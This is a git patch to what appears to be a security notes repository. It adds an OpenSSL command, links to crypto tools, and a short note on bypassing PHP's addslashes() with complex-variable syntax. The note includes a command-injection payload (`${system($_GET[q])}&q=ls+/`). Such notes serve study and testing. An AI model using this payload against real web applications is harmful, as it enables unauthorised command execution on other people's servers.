From 2ea19b21c95e57489c29f330b356904f2eaefa01 Mon Sep 17 00:00:00 2001
From: whx <stefan@stefan.works>
Date: Thu, 16 Feb 2023 23:15:47 +0100
Subject: [PATCH]  added addslashes bypass

---
 Cryptography/OpenSSL-Cheatsheet.md    | 11 +++++++++++
 Cryptography/References.md            |  3 ++-
 Exploits/Web/PHP addslashes Bypass.md |  7 +++++++
 3 files changed, 20 insertions(+), 1 deletion(-)
 create mode 100644 Exploits/Web/PHP addslashes Bypass.md

diff --git a/Cryptography/OpenSSL-Cheatsheet.md b/Cryptography/OpenSSL-Cheatsheet.md
index 32f5ce2..0dc238f 100644
--- a/Cryptography/OpenSSL-Cheatsheet.md
+++ b/Cryptography/OpenSSL-Cheatsheet.md
@@ -129,3 +129,14 @@ openssl aes-256-cbc -pbkdf2 -iter 128000 -e -in $PLAIN_TEXT -out $CIPHER
 ```sh
 openssl aes-256-cbc -pbkdf2 -iter 128000 -d -in $CIPHER -out $PLAIN_TEXT
 ```
+
+## ECPoint (EC)
+
+* RFC5480
+
+### Read PEM Public Key
+
+```sh
+openssl ec -pubin -in publickey.pem -noout -text
+```
+
diff --git a/Cryptography/References.md b/Cryptography/References.md
index 1d15bea..363480e 100644
--- a/Cryptography/References.md
+++ b/Cryptography/References.md
@@ -7,12 +7,13 @@
 
 ### Online Tools
 
+* [cryptool](https://cryptool.org)
 * [quipquip](https://quipquip.com)
 * [cryptii](https://cryptii.com/)
 * [Boxentriq](https://www.boxentriq.com)
 * [dcode](https://www.dcode.fr)
+* [factordb](http://factordb.com)
 
 ## Encryption Standards
 
 * [AES](https://csrc.nist.gov/publications/detail/fips/197/final)
-
diff --git a/Exploits/Web/PHP addslashes Bypass.md b/Exploits/Web/PHP addslashes Bypass.md
new file mode 100644
index 0000000..aabe216
--- /dev/null
+++ b/Exploits/Web/PHP addslashes Bypass.md	
@@ -0,0 +1,7 @@
+# Bypass addslashes()
+
+The function `addslashes()` can be bypassed by using complex variables like `${VARIABLE}`, for example `${phpinfo()}` or using a second HTTP parameter for input via
+```sh
+${system($_GET[q])}&q=ls+/
+```
+* https://www.programmersought.com/article/30723400042/